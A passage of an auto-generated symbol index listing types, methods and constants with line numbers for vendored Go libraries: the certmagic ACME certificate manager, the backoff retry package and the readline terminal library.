  constant UseFirstIssuer (line 418) | UseFirstIssuer = "first"
  constant UseFirstRandomIssuer (line 423) | UseFirstRandomIssuer = "first_random"
  type IssuedCertificate (line 427) | type IssuedCertificate struct
  type CertificateResource (line 439) | type CertificateResource struct
    method NamesKey (line 463) | func (cr *CertificateResource) NamesKey() string {
  constant HTTPChallengePort (line 509) | HTTPChallengePort = 80
  constant TLSALPNChallengePort (line 513) | TLSALPNChallengePort = 443
  constant stackTraceBufferSize (line 539) | stackTraceBufferSize = 1024 * 128

FILE: vendor/github.com/caddyserver/certmagic/config.go
  type Config (line 46) | type Config struct
    method ManageSync (line 306) | func (cfg *Config) ManageSync(ctx context.Context, domainNames []strin...
    method ManageAsync (line 326) | func (cfg *Config) ManageAsync(ctx context.Context, domainNames []stri...
    method ClientCredentials (line 333) | func (cfg *Config) ClientCredentials(ctx context.Context, identifiers ...
    method manageAll (line 353) | func (cfg *Config) manageAll(ctx context.Context, domainNames []string...
    method manageOne (line 379) | func (cfg *Config) manageOne(ctx context.Context, domainName string, a...
    method ObtainCertSync (line 472) | func (cfg *Config) ObtainCertSync(ctx context.Context, name string) er...
    method ObtainCertAsync (line 478) | func (cfg *Config) ObtainCertAsync(ctx context.Context, name string) e...
    method obtainCert (line 482) | func (cfg *Config) obtainCert(ctx context.Context, name string, intera...
    method reusePrivateKey (line 661) | func (cfg *Config) reusePrivateKey(ctx context.Context, domain string)...
    method storageHasCertResourcesAnyIssuer (line 697) | func (cfg *Config) storageHasCertResourcesAnyIssuer(ctx context.Contex...
    method RenewCertSync (line 711) | func (cfg *Config) RenewCertSync(ctx context.Context, name string, for...
    method RenewCertAsync (line 717) | func (cfg *Config) RenewCertAsync(ctx context.Context, name string, fo...
    method renewCert (line 721) | func (cfg *Config) renewCert(ctx context.Context, name string, force, ...
    method generateCSR (line 900) | func (cfg *Config) generateCSR(privateKey crypto.PrivateKey, sans []st...
    method RevokeCert (line 938) | func (cfg *Config) RevokeCert(ctx context.Context, domain string, reas...
    method TLSConfig (line 992) | func (cfg *Config) TLSConfig() *tls.Config {
    method getChallengeInfo (line 1014) | func (cfg *Config) getChallengeInfo(ctx context.Context, identifier st...
    method checkStorage (line 1059) | func (cfg *Config) checkStorage(ctx context.Context) error {
    method storageHasCertResources (line 1099) | func (cfg *Config) storageHasCertResources(ctx context.Context, issuer...
    method deleteSiteAssets (line 1112) | func (cfg *Config) deleteSiteAssets(ctx context.Context, issuerKey, do...
    method lockKey (line 1134) | func (cfg *Config) lockKey(op, domainName string) string {
    method managedCertNeedsRenewal (line 1140) | func (cfg *Config) managedCertNeedsRenewal(certRes CertificateResource...
    method emit (line 1150) | func (cfg *Config) emit(ctx context.Context, eventName string, data ma...
  function NewDefault (line 169) | func NewDefault() *Config {
  function New (line 208) | func New(certCache *Cache, cfg Config) *Config {
  function newWithCache (line 224) | func newWithCache(certCache *Cache, cfg Config) *Config {
  type CertificateSelector (line 1158) | type CertificateSelector interface
  type OCSPConfig (line 1163) | type OCSPConfig struct
  constant certIssueLockOp (line 1182) | certIssueLockOp = "issue_cert"

FILE: vendor/github.com/caddyserver/certmagic/crypto.go
  function PEMEncodePrivateKey (line 45) | func PEMEncodePrivateKey(key crypto.PrivateKey) ([]byte, error) {
  function PEMDecodePrivateKey (line 75) | func PEMDecodePrivateKey(keyPEMBytes []byte) (crypto.Signer, error) {
  function parseCertsFromPEMBundle (line 112) | func parseCertsFromPEMBundle(bundle []byte) ([]*x509.Certificate, error) {
  function fastHash (line 137) | func fastHash(input []byte) string {
  method saveCertResource (line 146) | func (cfg *Config) saveCertResource(ctx context.Context, issuer Issuer, ...
  method loadCertResourceAnyIssuer (line 177) | func (cfg *Config) loadCertResourceAnyIssuer(ctx context.Context, certNa...
  method loadCertResource (line 240) | func (cfg *Config) loadCertResource(ctx context.Context, issuer Issuer, ...
  function hashCertificateChain (line 273) | func hashCertificateChain(certChain [][]byte) string {
  function namesFromCSR (line 281) | func namesFromCSR(csr *x509.CertificateRequest) []string {
  function preferredDefaultCipherSuites (line 299) | func preferredDefaultCipherSuites() []uint16 {
  type StandardKeyGenerator (line 327) | type StandardKeyGenerator struct
    method GenerateKey (line 333) | func (kg StandardKeyGenerator) GenerateKey() (crypto.PrivateKey, error) {
  type KeyType (line 356) | type KeyType
  constant ED25519 (line 360) | ED25519 = KeyType("ed25519")
  constant P256 (line 361) | P256    = KeyType("p256")
  constant P384 (line 362) | P384    = KeyType("p384")
  constant RSA2048 (line 363) | RSA2048 = KeyType("rsa2048")
  constant RSA4096 (line 364) | RSA4096 = KeyType("rsa4096")
  constant RSA8192 (line 365) | RSA8192 = KeyType("rsa8192")

FILE: vendor/github.com/caddyserver/certmagic/dnsutil.go
  function findZoneByFQDN (line 23) | func findZoneByFQDN(fqdn string, nameservers []string) (string, error) {
  function lookupSoaByFqdn (line 34) | func lookupSoaByFqdn(fqdn string, nameservers []string) (*soaCacheEntry,...
  function fetchSoaByFqdn (line 65) | func fetchSoaByFqdn(fqdn string, nameservers []string) (*soaCacheEntry, ...
  function dnsMsgContainsCNAME (line 111) | func dnsMsgContainsCNAME(msg *dns.Msg) bool {
  function dnsQuery (line 120) | func dnsQuery(fqdn string, rtype uint16, nameservers []string, recursive...
  function createDNSMsg (line 133) | func createDNSMsg(fqdn string, rtype uint16, recursive bool) *dns.Msg {
  function sendDNSQuery (line 145) | func sendDNSQuery(m *dns.Msg, ns string) (*dns.Msg, error) {
  function formatDNSError (line 159) | func formatDNSError(msg *dns.Msg, err error) string {
  type soaCacheEntry (line 174) | type soaCacheEntry struct
    method isExpired (line 189) | func (cache *soaCacheEntry) isExpired() bool {
  function newSoaCacheEntry (line 180) | func newSoaCacheEntry(soa *dns.SOA) *soaCacheEntry {
  function systemOrDefaultNameservers (line 195) | func systemOrDefaultNameservers(path string, defaults []string) []string {
  function populateNameserverPorts (line 204) | func populateNameserverPorts(servers []string) {
  function checkDNSPropagation (line 214) | func checkDNSPropagation(fqdn, value string, resolvers []string) (bool, ...
  function checkAuthoritativeNss (line 238) | func checkAuthoritativeNss(fqdn, value string, nameservers []string) (bo...
  function lookupNameservers (line 275) | func lookupNameservers(fqdn string, resolvers []string) ([]string, error) {
  function updateDomainWithCName (line 301) | func updateDomainWithCName(r *dns.Msg, fqdn string) string {
  function recursiveNameservers (line 316) | func recursiveNameservers(custom []string) []string {
  constant defaultResolvConf (line 342) | defaultResolvConf = "/etc/resolv.conf"

FILE: vendor/github.com/caddyserver/certmagic/filestorage.go
  type FileStorage (line 68) | type FileStorage struct
    method Exists (line 73) | func (s *FileStorage) Exists(_ context.Context, key string) bool {
    method Store (line 79) | func (s *FileStorage) Store(_ context.Context, key string, value []byt...
    method Load (line 89) | func (s *FileStorage) Load(_ context.Context, key string) ([]byte, err...
    method Delete (line 94) | func (s *FileStorage) Delete(_ context.Context, key string) error {
    method List (line 99) | func (s *FileStorage) List(ctx context.Context, prefix string, recursi...
    method Stat (line 133) | func (s *FileStorage) Stat(_ context.Context, key string) (KeyInfo, er...
    method Filename (line 148) | func (s *FileStorage) Filename(key string) string {
    method Lock (line 154) | func (s *FileStorage) Lock(ctx context.Context, name string) error {
    method Unlock (line 241) | func (s *FileStorage) Unlock(_ context.Context, name string) error {
    method String (line 245) | func (s *FileStorage) String() string {
    method lockFilename (line 249) | func (s *FileStorage) lockFilename(name string) string {
    method lockDir (line 253) | func (s *FileStorage) lockDir() string {
  function fileLockIsStale (line 257) | func fileLockIsStale(meta lockMeta) bool {
  function createLockfile (line 271) | func createLockfile(filename string) error {
  function keepLockfileFresh (line 289) | func keepLockfileFresh(filename string) {
  function updateLockfileFreshness (line 314) | func updateLockfileFreshness(filename string) (bool, error) {
  function atomicallyCreateFile (line 359) | func atomicallyCreateFile(filename string, writeLockInfo bool) error {
  function homeDir (line 387) | func homeDir() string {
  function dataDir (line 403) | func dataDir() string {
  type lockMeta (line 412) | type lockMeta struct
  constant lockFreshnessInterval (line 422) | lockFreshnessInterval = 5 * time.Second
  constant fileLockPollInterval (line 426) | fileLockPollInterval = 1 * time.Second

FILE: vendor/github.com/caddyserver/certmagic/handshake.go
  method GetCertificate (line 48) | func (cfg *Config) GetCertificate(clientHello *tls.ClientHelloInfo) (*tl...
  method GetCertificateWithContext (line 52) | func (cfg *Config) GetCertificateWithContext(ctx context.Context, client...
  method getCertificateFromCache (line 110) | func (cfg *Config) getCertificateFromCache(hello *tls.ClientHelloInfo) (...
  method selectCert (line 182) | func (cfg *Config) selectCert(hello *tls.ClientHelloInfo, name string) (...
  function DefaultCertificateSelector (line 230) | func DefaultCertificateSelector(hello *tls.ClientHelloInfo, choices []Ce...
  method getCertDuringHandshake (line 261) | func (cfg *Config) getCertDuringHandshake(ctx context.Context, hello *tl...
  method loadCertFromStorage (line 396) | func (cfg *Config) loadCertFromStorage(ctx context.Context, logger *zap....
  method optionalMaintenance (line 425) | func (cfg *Config) optionalMaintenance(ctx context.Context, log *zap.Log...
  method checkIfCertShouldBeObtained (line 447) | func (cfg *Config) checkIfCertShouldBeObtained(ctx context.Context, name...
  method obtainOnDemandCertificate (line 475) | func (cfg *Config) obtainOnDemandCertificate(ctx context.Context, hello ...
  method handshakeMaintenance (line 549) | func (cfg *Config) handshakeMaintenance(ctx context.Context, hello *tls....
  method renewDynamicCertificate (line 623) | func (cfg *Config) renewDynamicCertificate(ctx context.Context, hello *t...
  method getCertFromAnyCertManager (line 750) | func (cfg *Config) getCertFromAnyCertManager(ctx context.Context, hello ...
  method getTLSALPNChallengeCert (line 798) | func (cfg *Config) getTLSALPNChallengeCert(clientHello *tls.ClientHelloI...
  method getNameFromClientHello (line 825) | func (*Config) getNameFromClientHello(hello *tls.ClientHelloInfo) string {
  function logWithRemote (line 833) | func logWithRemote(l *zap.Logger, hello *tls.ClientHelloInfo) *zap.Logger {
  function localIPFromConn (line 848) | func localIPFromConn(c net.Conn) string {
  function normalizedName (line 869) | func normalizedName(serverName string) string {
  type serializableClientHello (line 885) | type serializableClientHello struct
  function clientHelloWithoutConn (line 901) | func clientHelloWithoutConn(hello *tls.ClientHelloInfo) serializableClie...
  type helloInfoCtxKey (line 924) | type helloInfoCtxKey
  constant ClientHelloInfoCtxKey (line 932) | ClientHelloInfoCtxKey helloInfoCtxKey = "certmagic:ClientHelloInfo"

FILE: vendor/github.com/caddyserver/certmagic/httphandler.go
  method HTTPChallengeHandler (line 31) | func (am *ACMEIssuer) HTTPChallengeHandler(h http.Handler) http.Handler {
  method HandleHTTPChallenge (line 52) | func (am *ACMEIssuer) HandleHTTPChallenge(w http.ResponseWriter, r *http...
  method distributedHTTPChallengeSolver (line 69) | func (am *ACMEIssuer) distributedHTTPChallengeSolver(w http.ResponseWrit...
  function solveHTTPChallenge (line 90) | func solveHTTPChallenge(logger *zap.Logger, w http.ResponseWriter, r *ht...
  function SolveHTTPChallenge (line 112) | func SolveHTTPChallenge(logger *zap.Logger, w http.ResponseWriter, r *ht...
  function LooksLikeHTTPChallenge (line 118) | func LooksLikeHTTPChallenge(r *http.Request) bool {
  constant challengeBasePath (line 122) | challengeBasePath = "/.well-known/acme-challenge"

FILE: vendor/github.com/caddyserver/certmagic/maintain.go
  method maintainAssets (line 43) | func (certCache *Cache) maintainAssets(panicCount int) {
  method RenewManagedCertificates (line 92) | func (certCache *Cache) RenewManagedCertificates(ctx context.Context) er...
  method queueRenewalTask (line 210) | func (certCache *Cache) queueRenewalTask(ctx context.Context, oldCert Ce...
  method updateOCSPStaples (line 260) | func (certCache *Cache) updateOCSPStaples(ctx context.Context) {
  type CleanStorageOptions (line 394) | type CleanStorageOptions struct
  function CleanStorage (line 416) | func CleanStorage(ctx context.Context, storage Storage, opts CleanStorag...
  type lastCleanPayload (line 498) | type lastCleanPayload
  type lastCleaned (line 500) | type lastCleaned struct
  function deleteOldOCSPStaples (line 505) | func deleteOldOCSPStaples(ctx context.Context, storage Storage, logger *...
  function deleteExpiredCerts (line 543) | func deleteExpiredCerts(ctx context.Context, storage Storage, logger *za...
  method forceRenew (line 631) | func (cfg *Config) forceRenew(ctx context.Context, logger *zap.Logger, c...
  method moveCompromisedPrivateKey (line 690) | func (cfg *Config) moveCompromisedPrivateKey(ctx context.Context, cert C...
  function certShouldBeForceRenewed (line 721) | func certShouldBeForceRenewed(cert Certificate) bool {
  constant DefaultRenewCheckInterval (line 733) | DefaultRenewCheckInterval = 10 * time.Minute
  constant DefaultRenewalWindowRatio (line 739) | DefaultRenewalWindowRatio = 1.0 / 3.0
  constant DefaultOCSPCheckInterval (line 742) | DefaultOCSPCheckInterval = 1 * time.Hour

FILE: vendor/github.com/caddyserver/certmagic/ocsp.go
  function stapleOCSP (line 47) | func stapleOCSP(ctx context.Context, ocspConfig OCSPConfig, storage Stor...
  function getOCSPForCert (line 142) | func getOCSPForCert(ocspConfig OCSPConfig, bundle []byte) ([]byte, *ocsp...
  function freshOCSP (line 227) | func freshOCSP(resp *ocsp.Response) bool {

FILE: vendor/github.com/caddyserver/certmagic/ratelimiter.go
  function NewRateLimiter (line 31) | func NewRateLimiter(maxEvents int, window time.Duration) *RingBufferRate...
  type RingBufferRateLimiter (line 54) | type RingBufferRateLimiter struct
    method Stop (line 65) | func (r *RingBufferRateLimiter) Stop() {
    method loop (line 69) | func (r *RingBufferRateLimiter) loop() {
    method Allow (line 114) | func (r *RingBufferRateLimiter) Allow() bool {
    method Wait (line 125) | func (r *RingBufferRateLimiter) Wait(ctx context.Context) error {
    method MaxEvents (line 136) | func (r *RingBufferRateLimiter) MaxEvents() int {
    method SetMaxEvents (line 149) | func (r *RingBufferRateLimiter) SetMaxEvents(maxEvents int) {
    method Window (line 193) | func (r *RingBufferRateLimiter) Window() time.Duration {
    method SetWindow (line 203) | func (r *RingBufferRateLimiter) SetWindow(window time.Duration) {
    method permit (line 215) | func (r *RingBufferRateLimiter) permit() {
    method advance (line 239) | func (r *RingBufferRateLimiter) advance() {

FILE: vendor/github.com/caddyserver/certmagic/solvers.go
  type httpSolver (line 48) | type httpSolver struct
    method Present (line 55) | func (s *httpSolver) Present(ctx context.Context, _ acme.Challenge) er...
    method serve (line 81) | func (s *httpSolver) serve(ctx context.Context, si *solverInfo) {
    method CleanUp (line 102) | func (s *httpSolver) CleanUp(_ context.Context, _ acme.Challenge) error {
  type tlsALPNSolver (line 122) | type tlsALPNSolver struct
    method Present (line 129) | func (s *tlsALPNSolver) Present(ctx context.Context, chal acme.Challen...
    method handleConn (line 200) | func (*tlsALPNSolver) handleConn(conn net.Conn) {
    method CleanUp (line 223) | func (s *tlsALPNSolver) CleanUp(_ context.Context, chal acme.Challenge...
  type DNS01Solver (line 252) | type DNS01Solver struct
    method Present (line 293) | func (s *DNS01Solver) Present(ctx context.Context, challenge acme.Chal...
    method Wait (line 333) | func (s *DNS01Solver) Wait(ctx context.Context, challenge acme.Challen...
    method CleanUp (line 393) | func (s *DNS01Solver) CleanUp(_ context.Context, challenge acme.Challe...
    method saveDNSPresentMemory (line 436) | func (s *DNS01Solver) saveDNSPresentMemory(mem dnsPresentMemory) {
    method getDNSPresentMemory (line 445) | func (s *DNS01Solver) getDNSPresentMemory(dnsName, keyAuth string) (dn...
    method deleteDNSPresentMemory (line 464) | func (s *DNS01Solver) deleteDNSPresentMemory(dnsName, keyAuth string) {
  constant defaultDNSPropagationTimeout (line 428) | defaultDNSPropagationTimeout = 2 * time.Minute
  type dnsPresentMemory (line 430) | type dnsPresentMemory struct
  type ACMEDNSProvider (line 481) | type ACMEDNSProvider interface
  type distributedSolver (line 507) | type distributedSolver struct
    method Present (line 526) | func (dhs distributedSolver) Present(ctx context.Context, chal acme.Ch...
    method Wait (line 545) | func (dhs distributedSolver) Wait(ctx context.Context, challenge acme....
    method CleanUp (line 554) | func (dhs distributedSolver) CleanUp(ctx context.Context, chal acme.Ch...
    method challengeTokensPrefix (line 567) | func (dhs distributedSolver) challengeTokensPrefix() string {
    method challengeTokensKey (line 573) | func (dhs distributedSolver) challengeTokensKey(domain string) string {
  type solverInfo (line 579) | type solverInfo struct
  function getSolverInfo (line 587) | func getSolverInfo(address string) *solverInfo {
  function robustTryListen (line 608) | func robustTryListen(addr string) (net.Listener, error) {
  function dialTCPSocket (line 658) | func dialTCPSocket(addr string) error {
  function GetACMEChallenge (line 668) | func GetACMEChallenge(identifier string) (Challenge, bool) {
  type Challenge (line 699) | type Challenge struct
  function challengeKey (line 706) | func challengeKey(chal acme.Challenge) string {
  type solverWrapper (line 720) | type solverWrapper struct
    method Present (line 722) | func (sw solverWrapper) Present(ctx context.Context, chal acme.Challen...
    method Wait (line 729) | func (sw solverWrapper) Wait(ctx context.Context, chal acme.Challenge)...
    method CleanUp (line 736) | func (sw solverWrapper) CleanUp(ctx context.Context, chal acme.Challen...

FILE: vendor/github.com/caddyserver/certmagic/storage.go
  type Storage (line 61) | type Storage interface
  type Locker (line 128) | type Locker interface
  type KeyInfo (line 159) | type KeyInfo struct
  function storeTx (line 167) | func storeTx(ctx context.Context, s Storage, all []keyValue) error {
  type keyValue (line 181) | type keyValue struct
  type KeyBuilder (line 189) | type KeyBuilder struct
    method CertsPrefix (line 193) | func (keys KeyBuilder) CertsPrefix(issuerKey string) string {
    method CertsSitePrefix (line 199) | func (keys KeyBuilder) CertsSitePrefix(issuerKey, domain string) string {
    method SiteCert (line 205) | func (keys KeyBuilder) SiteCert(issuerKey, domain string) string {
    method SitePrivateKey (line 213) | func (keys KeyBuilder) SitePrivateKey(issuerKey, domain string) string {
    method SiteMeta (line 221) | func (keys KeyBuilder) SiteMeta(issuerKey, domain string) string {
    method OCSPStaple (line 229) | func (keys KeyBuilder) OCSPStaple(cert *Certificate, pemBundle []byte)...
    method Safe (line 242) | func (keys KeyBuilder) Safe(str string) string {
  function CleanUpOwnLocks (line 266) | func CleanUpOwnLocks(ctx context.Context, logger *zap.Logger) {
  function acquireLock (line 281) | func acquireLock(ctx context.Context, storage Storage, lockKey string) e...
  function releaseLock (line 291) | func releaseLock(ctx context.Context, storage Storage, lockKey string) e...
  constant prefixCerts (line 315) | prefixCerts = "certificates"
  constant prefixOCSP (line 316) | prefixOCSP  = "ocsp"

FILE: vendor/github.com/cenkalti/backoff/v3/backoff.go
  type BackOff (line 16) | type BackOff interface
  constant Stop (line 36) | Stop time.Duration = -1
  type ZeroBackOff (line 40) | type ZeroBackOff struct
    method Reset (line 42) | func (b *ZeroBackOff) Reset() {}
    method NextBackOff (line 44) | func (b *ZeroBackOff) NextBackOff() time.Duration { return 0 }
  type StopBackOff (line 48) | type StopBackOff struct
    method Reset (line 50) | func (b *StopBackOff) Reset() {}
    method NextBackOff (line 52) | func (b *StopBackOff) NextBackOff() time.Duration { return Stop }
  type ConstantBackOff (line 57) | type ConstantBackOff struct
    method Reset (line 61) | func (b *ConstantBackOff) Reset()                     {}
    method NextBackOff (line 62) | func (b *ConstantBackOff) NextBackOff() time.Duration { return b.Inter...
  function NewConstantBackOff (line 64) | func NewConstantBackOff(d time.Duration) *ConstantBackOff {

FILE: vendor/github.com/cenkalti/backoff/v3/context.go
  type BackOffContext (line 10) | type BackOffContext interface
  type backOffContext (line 15) | type backOffContext struct
    method Context (line 48) | func (b *backOffContext) Context() context.Context {
    method NextBackOff (line 52) | func (b *backOffContext) NextBackOff() time.Duration {
  function WithContext (line 23) | func WithContext(b BackOff, ctx context.Context) BackOffContext {
  function ensureContext (line 41) | func ensureContext(b BackOff) BackOffContext {

FILE: vendor/github.com/cenkalti/backoff/v3/exponential.go
  type ExponentialBackOff (line 54) | type ExponentialBackOff struct
    method Reset (line 106) | func (b *ExponentialBackOff) Reset() {
    method NextBackOff (line 113) | func (b *ExponentialBackOff) NextBackOff() time.Duration {
    method GetElapsedTime (line 128) | func (b *ExponentialBackOff) GetElapsedTime() time.Duration {
    method incrementCurrentInterval (line 133) | func (b *ExponentialBackOff) incrementCurrentInterval() {
  type Clock (line 69) | type Clock interface
  constant DefaultInitialInterval (line 75) | DefaultInitialInterval     = 500 * time.Millisecond
  constant DefaultRandomizationFactor (line 76) | DefaultRandomizationFactor = 0.5
  constant DefaultMultiplier (line 77) | DefaultMultiplier          = 1.5
  constant DefaultMaxInterval (line 78) | DefaultMaxInterval         = 60 * time.Second
  constant DefaultMaxElapsedTime (line 79) | DefaultMaxElapsedTime      = 15 * time.Minute
  function NewExponentialBackOff (line 83) | func NewExponentialBackOff() *ExponentialBackOff {
  type systemClock (line 96) | type systemClock struct
    method Now (line 98) | func (t systemClock) Now() time.Time {
  function getRandomValueFromInterval (line 144) | func getRandomValueFromInterval(randomizationFactor, random float64, cur...

FILE: vendor/github.com/cenkalti/backoff/v3/retry.go
  type Operation (line 7) | type Operation
  type Notify (line 14) | type Notify
  function Retry (line 24) | func Retry(o Operation, b BackOff) error { return RetryNotify(o, b, nil) }
  function RetryNotify (line 28) | func RetryNotify(operation Operation, b BackOff, notify Notify) error {
  type PermanentError (line 69) | type PermanentError struct
    method Error (line 73) | func (e *PermanentError) Error() string {
  function Permanent (line 78) | func Permanent(err error) *PermanentError {

FILE: vendor/github.com/cenkalti/backoff/v3/ticker.go
  type Ticker (line 12) | type Ticker struct
    method Stop (line 40) | func (t *Ticker) Stop() {
    method run (line 44) | func (t *Ticker) run() {
    method send (line 68) | func (t *Ticker) send(tick time.Time) <-chan time.Time {
  function NewTicker (line 26) | func NewTicker(b BackOff) *Ticker {

FILE: vendor/github.com/cenkalti/backoff/v3/tries.go
  function WithMaxRetries (line 12) | func WithMaxRetries(b BackOff, max uint64) BackOff {
  type backOffTries (line 16) | type backOffTries struct
    method NextBackOff (line 22) | func (b *backOffTries) NextBackOff() time.Duration {
    method Reset (line 32) | func (b *backOffTries) Reset() {

FILE: vendor/github.com/chzyer/readline/ansi_windows.go
  constant _ (line 16) | _                = uint16(0)
  constant COLOR_FBLUE (line 17) | COLOR_FBLUE      = 0x0001
  constant COLOR_FGREEN (line 18) | COLOR_FGREEN     = 0x0002
  constant COLOR_FRED (line 19) | COLOR_FRED       = 0x0004
  constant COLOR_FINTENSITY (line 20) | COLOR_FINTENSITY = 0x0008
  constant COLOR_BBLUE (line 22) | COLOR_BBLUE      = 0x0010
  constant COLOR_BGREEN (line 23) | COLOR_BGREEN     = 0x0020
  constant COLOR_BRED (line 24) | COLOR_BRED       = 0x0040
  constant COLOR_BINTENSITY (line 25) | COLOR_BINTENSITY = 0x0080
  constant COMMON_LVB_UNDERSCORE (line 27) | COMMON_LVB_UNDERSCORE = 0x8000
  constant COMMON_LVB_BOLD (line 28) | COMMON_LVB_BOLD       = 0x0007
  type ANSIWriter (line 53) | type ANSIWriter struct
    method Close (line 68) | func (a *ANSIWriter) Close() error {
    method Write (line 196) | func (a *ANSIWriter) Write(b []byte) (int, error) {
  function NewANSIWriter (line 60) | func NewANSIWriter(w io.Writer) *ANSIWriter {
  type ANSIWriterCtx (line 73) | type ANSIWriterCtx struct
    method Flush (line 87) | func (a *ANSIWriterCtx) Flush() {
    method process (line 91) | func (a *ANSIWriterCtx) process(r rune) bool {
    method ioloopEscSeq (line 121) | func (a *ANSIWriterCtx) ioloopEscSeq(w *bufio.Writer, r rune, argptr *...
  function NewANSIWriterCtx (line 81) | func NewANSIWriterCtx(target io.Writer) *ANSIWriterCtx {
  function killLines (line 213) | func killLines() error {
  function eraseLine (line 235) | func eraseLine() error {

FILE: vendor/github.com/chzyer/readline/complete.go
  type AutoCompleter (line 10) | type AutoCompleter interface
  type TabCompleter (line 21) | type TabCompleter struct
    method Do (line 23) | func (t *TabCompleter) Do([]rune, int) ([][]rune, int) {
  type opCompleter (line 27) | type opCompleter struct
    method doSelect (line 49) | func (o *opCompleter) doSelect() {
    method nextCandidate (line 59) | func (o *opCompleter) nextCandidate(i int) {
    method OnComplete (line 67) | func (o *opCompleter) OnComplete() bool {
    method IsInCompleteSelectMode (line 113) | func (o *opCompleter) IsInCompleteSelectMode() bool {
    method IsInCompleteMode (line 117) | func (o *opCompleter) IsInCompleteMode() bool {
    method HandleCompleteSelect (line 121) | func (o *opCompleter) HandleCompleteSelect(r rune) bool {
    method getMatrixSize (line 176) | func (o *opCompleter) getMatrixSize() int {
    method OnWidthChange (line 184) | func (o *opCompleter) OnWidthChange(newWidth int) {
    method CompleteRefresh (line 188) | func (o *opCompleter) CompleteRefresh() {
    method aggCandidate (line 244) | func (o *opCompleter) aggCandidate(candidate [][]rune) int {
    method EnterCompleteSelectMode (line 261) | func (o *opCompleter) EnterCompleteSelectMode() {
    method EnterCompleteMode (line 267) | func (o *opCompleter) EnterCompleteMode(offset int, candidate [][]rune) {
    method ExitCompleteSelectMode (line 274) | func (o *opCompleter) ExitCompleteSelectMode() {
    method ExitCompleteMode (line 282) | func (o *opCompleter) ExitCompleteMode(revent bool) {
  function newOpCompleter (line 41) | func newOpCompleter(w io.Writer, op *Operation, width int) *opCompleter {

FILE: vendor/github.com/chzyer/readline/complete_helper.go
  type DynamicCompleteFunc (line 9) | type DynamicCompleteFunc
  type PrefixCompleterInterface (line 11) | type PrefixCompleterInterface interface
  type DynamicPrefixCompleterInterface (line 19) | type DynamicPrefixCompleterInterface interface
  type PrefixCompleter (line 25) | type PrefixCompleter struct
    method Tree (line 32) | func (p *PrefixCompleter) Tree(prefix string) string {
    method Print (line 54) | func (p *PrefixCompleter) Print(prefix string, level int, buf *bytes.B...
    method IsDynamic (line 58) | func (p *PrefixCompleter) IsDynamic() bool {
    method GetName (line 62) | func (p *PrefixCompleter) GetName() []rune {
    method GetDynamicNames (line 66) | func (p *PrefixCompleter) GetDynamicNames(line []rune) [][]rune {
    method GetChildren (line 74) | func (p *PrefixCompleter) GetChildren() []PrefixCompleterInterface {
    method SetChildren (line 78) | func (p *PrefixCompleter) SetChildren(children []PrefixCompleterInterf...
    method Do (line 103) | func (p *PrefixCompleter) Do(line []rune, pos int) (newLine [][]rune, ...
  function Print (line 38) | func Print(p PrefixCompleterInterface, prefix string, level int, buf *by...
  function NewPrefixCompleter (line 82) | func NewPrefixCompleter(pc ...PrefixCompleterInterface) *PrefixCompleter {
  function PcItem (line 86) | func PcItem(name string, pc ...PrefixCompleterInterface) *PrefixCompleter {
  function PcItemDynamic (line 95) | func PcItemDynamic(callback DynamicCompleteFunc, pc ...PrefixCompleterIn...
  function Do (line 107) | func Do(p PrefixCompleterInterface, line []rune, pos int) (newLine [][]r...
  function doInternal (line 111) | func doInternal(p PrefixCompleterInterface, line []rune, pos int, origLi...

FILE: vendor/github.com/chzyer/readline/complete_segment.go
  type SegmentCompleter (line 3) | type SegmentCompleter interface
  type dumpSegmentCompleter (line 20) | type dumpSegmentCompleter struct
    method DoSegment (line 24) | func (d *dumpSegmentCompleter) DoSegment(segment [][]rune, n int) [][]...
  function SegmentFunc (line 28) | func SegmentFunc(f func([][]rune, int) [][]rune) AutoCompleter {
  function SegmentAutoComplete (line 32) | func SegmentAutoComplete(completer SegmentCompleter) *SegmentComplete {
  type SegmentComplete (line 38) | type SegmentComplete struct
    method Do (line 72) | func (c *SegmentComplete) Do(line []rune, pos int) (newLine [][]rune, ...
  function RetSegment (line 42) | func RetSegment(segments [][]rune, cands [][]rune, idx int) ([][]rune, i...
  function SplitSegment (line 54) | func SplitSegment(line []rune, pos int) ([][]rune, int) {

FILE: vendor/github.com/chzyer/readline/history.go
  type hisItem (line 12) | type hisItem struct
    method Clean (line 18) | func (h *hisItem) Clean() {
  type opHistory (line 23) | type opHistory struct
    method Reset (line 42) | func (o *opHistory) Reset() {
    method IsHistoryClosed (line 47) | func (o *opHistory) IsHistoryClosed() bool {
    method Init (line 53) | func (o *opHistory) Init() {
    method initHistory (line 59) | func (o *opHistory) initHistory() {
    method historyUpdatePath (line 66) | func (o *opHistory) historyUpdatePath(path string) {
    method Compact (line 97) | func (o *opHistory) Compact() {
    method Rewrite (line 103) | func (o *opHistory) Rewrite() {
    method rewriteLocked (line 109) | func (o *opHistory) rewriteLocked() {
    method Close (line 139) | func (o *opHistory) Close() {
    method FindBck (line 147) | func (o *opHistory) FindBck(isNewSearch bool, rs []rune, start int) (i...
    method FindFwd (line 167) | func (o *opHistory) FindFwd(isNewSearch bool, rs []rune, start int) (i...
    method showItem (line 195) | func (o *opHistory) showItem(obj interface{}) []rune {
    method Prev (line 203) | func (o *opHistory) Prev() []rune {
    method Next (line 215) | func (o *opHistory) Next() ([]rune, bool) {
    method Disable (line 229) | func (o *opHistory) Disable() {
    method Enable (line 234) | func (o *opHistory) Enable() {
    method debug (line 238) | func (o *opHistory) debug() {
    method New (line 246) | func (o *opHistory) New(current []rune) (err error) {
    method Revert (line 296) | func (o *opHistory) Revert() {
    method Update (line 301) | func (o *opHistory) Update(s []rune, commit bool) (err error) {
    method Push (line 326) | func (o *opHistory) Push(s []rune) {
  function newOpHistory (line 33) | func newOpHistory(cfg *Config) (o *opHistory) {

FILE: vendor/github.com/chzyer/readline/operation.go
  type InterruptError (line 13) | type InterruptError struct
    method Error (line 17) | func (*InterruptError) Error() string {
  type Operation (line 21) | type Operation struct
    method SetBuffer (line 37) | func (o *Operation) SetBuffer(what string) {
    method SetPrompt (line 92) | func (o *Operation) SetPrompt(s string) {
    method SetMaskRune (line 96) | func (o *Operation) SetMaskRune(r rune) {
    method GetConfig (line 100) | func (o *Operation) GetConfig() *Config {
    method ioloop (line 107) | func (o *Operation) ioloop() {
    method Stderr (line 366) | func (o *Operation) Stderr() io.Writer {
    method Stdout (line 370) | func (o *Operation) Stdout() io.Writer {
    method String (line 374) | func (o *Operation) String() (string, error) {
    method Runes (line 379) | func (o *Operation) Runes() ([]rune, error) {
    method PasswordEx (line 401) | func (o *Operation) PasswordEx(prompt string, l Listener) ([]byte, err...
    method GenPasswordConfig (line 408) | func (o *Operation) GenPasswordConfig() *Config {
